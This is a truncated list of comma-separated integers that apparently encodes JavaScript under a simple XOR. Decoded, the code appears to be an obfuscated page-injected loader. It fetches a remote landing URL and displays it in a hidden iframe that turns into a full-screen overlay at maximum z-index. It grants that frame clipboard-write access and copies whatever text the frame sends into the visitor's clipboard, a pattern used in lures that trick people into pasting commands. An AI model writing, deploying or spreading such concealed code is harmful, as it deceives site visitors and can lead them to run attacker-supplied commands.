1,52,41,114,115,122,33,87,80,122,122,122,122,44,59,40,122,53,40,51,61,51,52,41,122,103,122,33,39,97,87,80,122,122,122,122,44,59,40,122,59,42,51,21,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,27,10,19,5,19,30,5,15,8,22,115,97,87,80,122,122,122,122,51,60,122,114,59,42,51,21,40,51,61,51,52,115,122,53,40,51,61,51,52,41,1,59,42,51,21,40,51,61,51,52,7,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,60,53,40,122,114,44,59,40,122,51,122,103,122,106,97,122,51,122,102,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,97,122,51,113,113,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,46,42,54,122,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,7,122,124,124,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,7,116,46,63,55,42,54,59,46,63,97,87,80,122,122,122,122,122,122,51,60,122,114,123,46,42,54,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,44,59,40,122,42,40,53,56,63,122,103,122,46,42,54,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,120,34,120,115,97,87,80,122,122,122,122,122,122,44,59,40,122,53,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,42,40,53,56,63,115,97,87,80,122,122,122,122,122,122,51,60,122,114,53,40,51,61,51,52,115,122,53,40,51,61,51,52,41,1,53,40,51,61,51,52,7,122,103,122,46,40,47,63,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,53,40,122,114,44,59,40,122,53,40,51,61,51,52,17,63,35,122,51,52,122,53,40,51,61,51,52,41,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,123,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,53,40,51,61,51,52,41,118,122,53,40,51,61,51,52,17,63,35,115,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,62,52,41,119,42,40,63,60,63,46,57,50,120,118,122,53,40,51,61,51,52,17,63,35,115,97,87,80,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,42,40,63,57,53,52,52,63,57,46,120,118,122,53,40,51,61,51,52,17,63,35,115,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,61,63,46,23,53,47,52,46,20,53,62,63,114,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,122,62,53,57,47,55,63,52,46,116,56,53,62,35,122,38,38,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,122,38,38,122,52,47,54,54,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,47,40,54,118,122,46,51,55,63,53,47,46,23,41,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,122,52,63,45,122,10,40,53,55,51,41,63,114,60,47,52,57,46,51,53,52,122,114,40,63,41,53,54,44,63,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,123,47,40,54,122,38,38,122,46,35,42,63,53,60,122,60,63,46,57,50,122,123,103,103,122,120,60,47,52,57,46,51,53,52,120,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,41,53,54,44,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,44,59,40,122,60,51,52,51,41,50,63,62,122,103,122,60,59,54,41,63,97,87,80,122,122,122,122,122,122,44,59,40,122,46,51,55,63,40,122,103,122,52,47,54,54,97,87,80,122,122,122,122,122,122,44,59,40,122,57,53,52,46,40,53,54,54,63,40,122,103,122,52,47,54,54,97,87,80,87,80,122,122,122,122,122,122,60,47,52,57,46,51,53,52,122,62,53,52,63,114,44,59,54,47,63,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,60,51,52,51,41,50,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,122,122,60,51,52,51,41,50,63,62,122,103,122,46,40,47,63,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,51,55,63,40,115,122,57,54,63,59,40,14,51,55,63,53,47,46,114,46,51,55,63,40,115,97,87,80,122,122,122,122,122,122,122,122,40,63,41,53,54,44,63,114,114,44,59,54,47,63,122,38,38,122,120,120,115,116,46,40,51,55,114,115,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,27,56,53,40,46,25,53,52,46,40,53,54,54,63,40,122,123,103,103,122,120,47,52,62,63,60,51,52,63,62,120,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,53,52,46,40,53,54,54,63,40,122,103,122,52,63,45,122,27,56,53,40,46,25,53,52,46,40,53,54,54,63,40,114,115,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,46,51,55,63,40,122,103,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,51,60,122,114,57,53,52,46,40,53,54,54,63,40,115,122,57,53,52,46,40,53,54,54,63,40,116,59,56,53,40,46,114,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,122,122,122,122,62,53,52,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,39,118,122,46,51,55,63,53,47,46,23,41,115,97,87,80,87,80,122,122,122,122,122,122,122,122,60,63,46,57,50,114,47,40,54,118,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,59,57,50,63,96,122,120,52,53,119,41,46,53,40,63,120,118,87,80,122,122,122,122,122,122,122,122,122,122,57,40,63,62,63,52,46,51,59,54,41,96,122,120,53,55,51,46,120,118,87,80,122,122,122,122,122,122,122,122,122,122,41,51,61,52,59,54,96,122,57,53,52,46,40,53,54,54,63,40,122,101,122,57,53,52,46,40,53,54,54,63,40,116,41,51,61,52,59,54,122,96,122,44,53,51,62,122,106,87,80,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,40,63,41,42,53,52,41,63,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,40,63,41,42,53,52,41,63,122,101,122,40,63,41,42,53,52,41,63,116,46,63,34,46,114,115,122,96,122,120,120,97,87,80,122,122,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,46,63,34,46,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,62,53,52,63,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,62,53,52,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,122,122,62,53,52,63,114,120,120,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,46,40,35,25,53,42,35,114,46,63,34,46,115,122,33,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,46,63,34,46,122,123,103,103,122,120,41,46,40,51,52,61,120,122,38,38,122,123,46,63,34,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,46,40,35,122,33,122,45,51,52,62,53,45,116,60,53,57,47,41,114,115,97,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,51,60,122,114,52,59,44,51,61,59,46,53,40,116,57,54,51,42,56,53,59,40,62,122,124,124,122,52,59,44,51,61,59,46,53,40,116,57,54,51,42,56,53,59,40,62,116,45,40,51,46,63,14,63,34,46,115,122,33,87,80,122,122,122,122,122,122,52,59,44,51,61,59,46,53,40,116,57,54,51,42,56,53,59,40,62,116,45,40,51,46,63,14,63,34,46,114,46,63,34,46,115,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,60,59,54,54,56,59,57,49,25,53,42,35,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,59,54,54,56,59,57,49,25,53,42,35,114,46,63,34,46,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,59,54,54,56,59,57,49,25,53,42,35,114,46,63,34,46,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,55,53,47,52,46,122,103,122,61,63,46,23,53,47,52,46,20,53,62,63,114,115,97,87,80,122,122,122,122,122,122,51,60,122,114,123,55,53,47,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,46,59,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,46,63,34,46,59,40,63,59,120,115,97,87,80,122,122,122,122,122,122,46,59,116,44,59,54,47,63,122,103,122,46,63,34,46,97,87,80,122,122,122,122,122,122,46,59,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,40,63,59,62,53,52,54,35,120,118,122,120,40,63,59,62,53,52,54,35,120,115,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,42,53,41,51,46,51,53,52,122,103,122,120,60,51,34,63,62,120,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,54,63,60,46,122,103,122,120,119,99,99,99,99,42,34,120,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,46,53,42,122,103,122,120,106,120,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,53,42,59,57,51,46,35,122,103,122,120,106,120,97,87,80,122,122,122,122,122,122,55,53,47,52,46,116,59,42,42,63,52,62,25,50,51,54,62,114,46,59,115,97,87,80,122,122,122,122,122,122,46,40,35,122,33,122,46,59,116,60,53,57,47,41,114,115,97,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,46,59,116,41,63,54,63,57,46,114,115,97,87,80,122,122,122,122,122,122,46,59,116,41,63,46,9,63,54,63,57,46,51,53,52,8,59,52,61,63,114,106,118,122,46,59,116,44,59,54,47,63,116,54,63,52,61,46,50,115,97,87,80,122,122,122,122,122,122,62,53,57,47,55,63,52,46,116,63,34,63,57,25,53,55,55,59,52,62,114,120,57,53,42,35,120,115,97,87,80,122,122,122,122,122,122,51,60,122,114,46,59,116,42,59,40,63,52,46,20,53,62,63,115,122,46,59,116,42,59,40,63,52,46,20,53,62,63,116,40,63,55,53,44,63,25,50,51,54,62,114,46,59,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,56,51,52,62,23,63,41,41,59,61,63,18,59,52,62,54,63,40,114,115,122,33,87,80,122,122,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,55,63,41,41,59,61,63,24,53,47,52,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,55,63,41,41,59,61,63,24,53,47,52,62,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,45,51,52,62,53,45,116,59,62,62,31,44,63,52,46,22,51,41,46,63,52,63,40,114,120,55,63,41,41,59,61,63,120,118,122,60,47,52,57,46,51,53,52,122,114,63,44,63,52,46,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,62,59,46,59,122,103,122,63,44,63,52,46,122,124,124,122,63,44,63,52,46,116,62,59,46,59,97,87,80,122,122,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,123,51,60,40,59,55,63,122,38,38,122,123,62,59,46,59,122,38,38,122,46,35,42,63,53,60,122,62,59,46,59,122,123,103,103,122,120,53,56,48,63,57,46,120,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,51,60,122,114,63,44,63,52,46,116,41,53,47,40,57,63,122,124,124,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,122,124,124,122,63,44,63,52,46,116,41,53,47,40,57,63,122,123,103,103,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,49,46,54,119,41,50,53,45,119,53,40,51,61,51,52,59,54,120,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,115,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,49,46,54,119,60,40,59,55,63,119,40,63,59,62,35,120,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,115,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,114,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,57,53,42,35,120,122,124,124,122,46,35,42,63,53,60,122,62,59,46,59,116,46,63,34,46,122,103,103,103,122,120,41,46,40,51,52,61,120,115,122,33,87,80,122,122,122,122,122,122,122,122,46,40,35,25,53,42,35,114,62,59,46,59,116,46,63,34,46,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,57,54,63,59,52,47,42,114,52,63,34,46,9,46,59,46,47,41,115,122,33,87,80,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,122,103,122,52,47,54,54,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,122,103,122,52,47,54,54,97,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,51,60,122,114,51,60,40,59,55,63,122,124,124,122,51,60,40,59,55,63,116,42,59,40,63,52,46,20,53,62,63,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,40,59,55,63,116,42,59,40,63,52,46,20,53,62,63,116,40,63,55,53,44,63,25,50,51,54,62,114,51,60,40,59,55,63,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,52,63,34,46,9,46,59,46,47,41,122,38,38,122,120,62,53,52,63,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,40,63,41,53,54,44,63,22,59,52,62,51,52,61,15,40,54,114,51,62,115,122,33,87,80,122,122,122,122,51,60,122,114,123,51,62,122,38,38,122,123,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,10,40,53,55,51,41,63,116,40,63,41,53,54,44,63,114,120,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,47,52,57,46,51,53,52,122,41,46,63,42,114,51,52,62,63,34,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,51,52,62,63,34,122,100,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,10,40,53,55,51,41,63,116,40,63,41,53,54,44,63,114,120,120,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,44,59,40,122,57,60,61,122,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,52,62,63,34,7,122,38,38,122,33,39,97,87,80,122,122,122,122,122,122,44,59,40,122,56,47,51,54,46,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,56,47,51,54,62,14,40,47,41,46,63,62,15,40,54,114,57,60,61,116,46,63,55,42,54,59,46,63,122,38,38,122,120,120,118,122,51,62,115,115,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,123,56,47,51,54,46,15,40,54,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,51,52,62,63,34,122,113,122,107,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,51,60,122,114,123,57,60,61,116,47,41,63,28,63,46,57,50,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,10,40,53,55,51,41,63,116,40,63,41,53,54,44,63,114,56,47,51,54,46,15,40,54,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,56,47,51,54,46,15,40,54,118,122,40,63,61,51,41,46,40,35,116,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,115,87,80,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,40,59,45,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,44,59,40,122,54,59,52,62,51,52,61,15,40,54,122,103,122,63,34,46,40,59,57,46,22,59,52,62,51,52,61,15,40,54,114,40,59,45,115,97,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,54,59,52,62,51,52,61,15,40,54,115,122,40,63,46,47,40,52,122,54,59,52,62,51,52,61,15,40,54,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,51,52,62,63,34,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,51,52,62,63,34,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,106,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,59,57,46,51,44,59,46,63,19,60,40,59,55,63,114,47,40,54,115,122,33,87,80,122,122,122,122,51,60,122,114,123,47,40,54,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,59,57,46,51,44,63,120,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,33,87,80,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,63,34,51,41,46,51,52,61,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,122,122,122,122,51,60,122,114,63,34,51,41,46,51,52,61,115,122,33,87,80,122,122,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,53,47,52,46,122,103,122,61,63,46,23,53,47,52,46,20,53,62,63,114,115,97,87,80,122,122,122,122,51,60,122,114,123,55,53,47,52,46,115,122,33,87,80,122,122,122,122,122,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,59,57,46,51,44,59,46,63,19,60,40,59,55,63,114,47,40,54,115,97,87,80,122,122,122,122,122,122,39,118,122,106,115,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,51,60,40,59,55,63,120,115,97,87,80,122,122,122,122,44,59,40,122,57,54,53,41,63,62,122,103,122,60,59,54,41,63,97,87,80,122,122,122,122,44,59,40,122,40,63,44,63,59,54,63,62,122,103,122,60,59,54,41,63,97,87,80,122,122,122,122,44,59,40,122,46,51,55,63,53,47,46,19,62,122,103,122,52,47,54,54,97,87,80,87,80,122,122,122,122,60,47,52,57,46,51,53,52,122,40,63,44,63,59,54,114,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,57,54,53,41,63,62,122,38,38,122,40,63,44,63,59,54,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,40,63,44,63,59,54,63,62,122,103,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,46,51,55,63,53,47,46,19,62,115,122,57,54,63,59,40,14,51,55,63,53,47,46,114,46,51,55,63,53,47,46,19,62,115,97,87,80,87,80,122,122,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,44,51,41,51,56,51,54,51,46,35,122,103,122,120,44,51,41,51,56,54,63,120,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,53,42,59,57,51,46,35,122,103,122,120,107,120,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,42,53,51,52,46,63,40,31,44,63,52,46,41,122,103,122,120,59,47,46,53,120,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,40,63,55,53,44,63,27,46,46,40,51,56,47,46,63,114,120,59,40,51,59,119,50,51,62,62,63,52,120,115,97,87,80,87,80,122,122,122,122,122,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,46,40,35,122,33,122,51,60,40,59,55,63,116,60,53,57,47,41,114,115,97,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,122,124,124,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,116,60,53,57,47,41,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,116,60,53,57,47,41,114,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,39,118,122,106,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,47,52,57,46,51,53,52,122,62,63,41,46,40,53,35,114,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,57,54,53,41,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,57,54,53,41,63,62,122,103,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,46,51,55,63,53,47,46,19,62,115,122,57,54,63,59,40,14,51,55,63,53,47,46,114,46,51,55,63,53,47,46,19,62,115,97,87,80,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,122,103,122,62,63,41,46,40,53,35,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,122,103,122,40,63,44,63,59,54,97,87,80,87,80,122,122,122,122,51,60,40,59,55,63,116,51,62,122,103,122,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,27,46,46,40,118,122,120,107,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,59,40,51,59,119,50,51,62,62,63,52,120,118,122,120,46,40,47,63,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,54,53,59,62,51,52,61,120,118,122,120,63,59,61,63,40,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,59,54,54,53,45,120,118,122,120,57,54,51,42,56,53,59,40,62,119,45,40,51,46,63,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,40,57,122,103,122,41,59,60,63,27,42,42,63,52,62,11,47,63,40,35,114,47,40,54,118,122,120,44,120,118,122,23,59,46,50,116,40,59,52,62,53,55,114,115,116,46,53,9,46,40,51,52,61,114,105,108,115,116,41,54,51,57,63,114,104,115,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,57,41,41,14,63,34,46,122,103,122,1,87,80,122,122,122,122,122,122,120,42,53,41,51,46,51,53,52,96,60,51,34,63,62,122,123,51,55,42,53,40,46,59,52,46,120,118,87,80,122,122,122,122,122,122,120,46,53,42,96,106,120,118,87,80,122,122,122,122,122,122,120,54,63,60,46,96,106,120,118,87,80,122,122,122,122,122,122,120,45,51,62,46,50,96,107,106,106,44,45,120,118,87,80,122,122,122,122,122,122,120,50,63,51,61,50,46,96,107,106,106,44,50,120,118,87,80,122,122,122,122,122,122,120,56,53,40,62,63,40,96,52,53,52,63,120,118,87,80,122,122,122,122,122,122,120,32,119,51,52,62,63,34,96,104,107,110,109,110,98,105,108,110,109,120,118,87,80,122,122,122,122,122,122,120,55,59,40,61,51,52,96,106,120,118,87,80,122,122,122,122,122,122,120,42,59,62,62,51,52,61,96,106,120,118,87,80,122,122,122,122,122,122,120,53,44,63,40,60,54,53,45,96,50,51,62,62,63,52,120,118,87,80,122,122,122,122,122,122,120,44,51,41,51,56,51,54,51,46,35,96,50,51,62,62,63,52,120,118,87,80,122,122,122,122,122,122,120,53,42,59,57,51,46,35,96,106,120,118,87,80,122,122,122,122,122,122,120,42,53,51,52,46,63,40,119,63,44,63,52,46,41,96,52,53,52,63,120,118,87,80,122,122,122,122,122,122,120,56,59,57,49,61,40,53,47,52,62,96,46,40,59,52,41,42,59,40,63,52,46,120,87,80,122,122,122,122,7,116,48,53,51,52,114,120,97,120,115,97,87,80,87,80,122,122,122,122,51,60,40,59,55,63,116,53,52,54,53,59,62,122,103,122,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,57,54,53,41,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,51,60,122,114,123,40,63,61,51,41,46,40,35,116,40,63,43,47,51,40,63,8,63,59,62,35,23,63,41,41,59,61,63,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,44,63,59,54,114,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,97,87,80,87,80,122,122,122,122,51,60,40,59,55,63,116,53,52,63,40,40,53,40,122,103,122,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,39,97,87,80,87,80,122,122,122,122,46,51,55,63,53,47,46,19,62,122,103,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,39,118,122,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,14,51,55,63,53,47,46,23,41,115,97,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,55,53,47,52,46,116,59,42,42,63,52,62,25,50,51,